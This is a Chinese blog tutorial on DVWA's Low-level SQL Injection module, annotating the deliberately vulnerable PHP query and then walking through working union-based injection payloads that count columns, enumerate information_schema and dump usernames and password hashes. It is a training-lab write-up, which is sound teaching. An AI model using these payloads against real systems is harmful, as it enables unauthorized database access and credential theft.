SQL注入 DVWA源码解读之SQL Injection

一切外成之下只并到有价值,武器、女人、秘密,甚至灵魂。

涉及知识

涉及到了php+html+mysql的一些基础知识,建议先阅读完之前的相关文章,若有基础可跳过。

PHP基础笔记

MYSQL基础笔记

HTML基础笔记

为了方便下载,已经保存到当前服务器下

下载地址

Low级别

代码解读

<form action="#" method="GET">
    <p>
        User ID:
        <input type="text" size="15" name="id">
        <input type="submit" name="Submit" value="Submit">
    </p>

这个是一个表单,提交方式为GET,传递过去的数据的名字为id,表单按钮属性名为submit。

<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // 用REQUESTS获取表单数据,表单属性名为sunbit,然后判断是否存在,存在就执行下面的代码
    $id = $_REQUEST[ 'id' ];
    // 用REQUESTS获取表单数据,传递过来的数据名为id,这里重新定义一个变量id获取到传入的数据
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    // 数据库查询语句,按照传入的id的数据,从数据库查询first_name, last_name的值
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query )
    or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"]))
            ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error())
                ? $___mysqli_res : false)) . '</pre>' );
    // 变量result存储获取到的数据
    // mysqli_query() 函数执行某个针对数据库的查询,这里之前就设置好数据库为dvwa的数据库
    // ___mysqli_ston为数据库连接语句,在别的地方定义好了,这里取全局变量
    // 接下来连接数据库然后判断是否连接成功
    // die()函数输出一条语句然后退出
    // 一个三元判断,如果执行了那条sql语句就返回真
    while( $row = mysqli_fetch_assoc( $result ) ) {
        $first = $row["first_name"];
        $last  = $row["last_name"];
        // 这里打印输出结果
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
    // 关闭数据库连接
}
?> 

这个php文件处理那个表单传递过来的数据,然后返回结果,其中执行查询的代码对来自客户端的参数id没有进行任何的检查与过滤。

实战演示

这是我总结的注入大致流程,常规的注入按照此流程进行能有个头绪。

如果对流程还有一些疑惑或者对数据库查询不清楚请先阅读此文章SQL注入基础笔记

正常打开

输入1,然后点击按钮,此时回显

ID: 1
First name: admin
Surname: admin

判读是否存在注入

输入1‘,这个时候页面报错了,根据返回的结果判断存在注入。

判断有多少个字段

使用order by获取字段数,但是如果输入-1’ order by 5这样会报错。这个时候查看源码

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"

可以看到$id的值是被引号包围起来,也就是说明查询的$id类型是字符串型。如何通过注入来判断传递查询的$id是字符串还是数字类型呢?
可以这么做,输入1’ or 1=1’ 这个时候页面报错了,然后输入1’ or ‘1’=’1,这个时候页面打印了所有的数据。

说明传入的参数是字符串类型的时候才可以被带入SQL语句执行查询。

为什么要加上单引号呢?继续回到刚刚那条SQL语句,看到这里user_id = ‘$id’,发现有个单引号吧$id包围起来,如果我输入1的话,传递过去就变成了user_id = ‘1’,如果我传入1’ or ‘1’=’1的话,就变成了user_id = ‘1’ or ‘1’=’1’,这个时候整条SQL语句就变成了

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1';"

where后面的条件就变成了下面两个,or的意思就是只要其中一个条件满足就执行。
因为’1’=’1’是永远为真的,所以这个时候就相当于执行了下面这条语句

$query  = "SELECT first_name, last_name FROM users;"

这个时候我输入999’ or ‘1’=’1一样也可以获取到所有的数据哦~

使用order by 获取字段数的时候,让前面的语句报错然后执行后面的自定义好的SQL语句。

输入 -1’ order by 5#,这个时候页面报错了。

原因是因为把构造好的语句带入了SQL查询,这个时候查询的SQL语句就变成了这样

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '-1' order by 5 #';"

之前说过#在MYSQL中是注释的意思,加上#就相当于把后面的单引号注释掉了,万能密码也是这个原理。

输入-1’ order by 4#报错,输入-1’ order by 3#报错,输入-1’ order by 2#页面正常,说明存在两个字段名。

寻找字段中可以使用的字段类型

输入 -1’ union select 1,2#

使用联合查询判断,发现字段1,2都可以显示出来。

探测一些信息

输入 -1’ union select user(),database()#

获取到了当前用户和当前数据库名

打印该数据库下的所有表名

输入

-1' union select 1,group_concat(TABLE_NAME,0x3c2f62723e) from information_schema.TABLES where TABLE_SCHEMA='dvwa'#

显示结果

可以看到这个数据库下面有两张表,users与guestbook

获取这个表中的所有字段

打算获取users这个表的所有字段名

输入

-1' union select 1,group_concat(column_NAME,0x3c2f62723e) from information_schema.columnS where TABLE_name='users'# 

显示结果

可以看到里面的字段名了,然后直接获取数据即可

获取数据

输入

-1' union select 1,group_concat(user,0x3c2f62723e,password) from users#

显示结果

总结

关于这种没有任何过滤,限制防护的注入,只需要先判断传递参数的类型,然后按照流程一步一步来注入即可,注意的是,注入方法不仅仅只有我上面的一种,查询字段数还可以用1′ or 1=1 order by 3 #,获取信息union slect联合查询使用1′ union select 1,database() #,主要是先把知识积累好,然后灵活运用。

坚持原创技术分享,您的支持将鼓励我继续创作!
------ 本文结束 ------

版权声明

LangZi_Blog's by Jy Xie is licensed under a Creative Commons BY-NC-ND 4.0 International License
由浪子LangZi创作并维护的Langzi_Blog's博客采用创作共用保留署名-非商业-禁止演绎4.0国际许可证
本文首发于Langzi_Blog's 博客( http://langzi.fun ),版权所有,侵权必究。

0%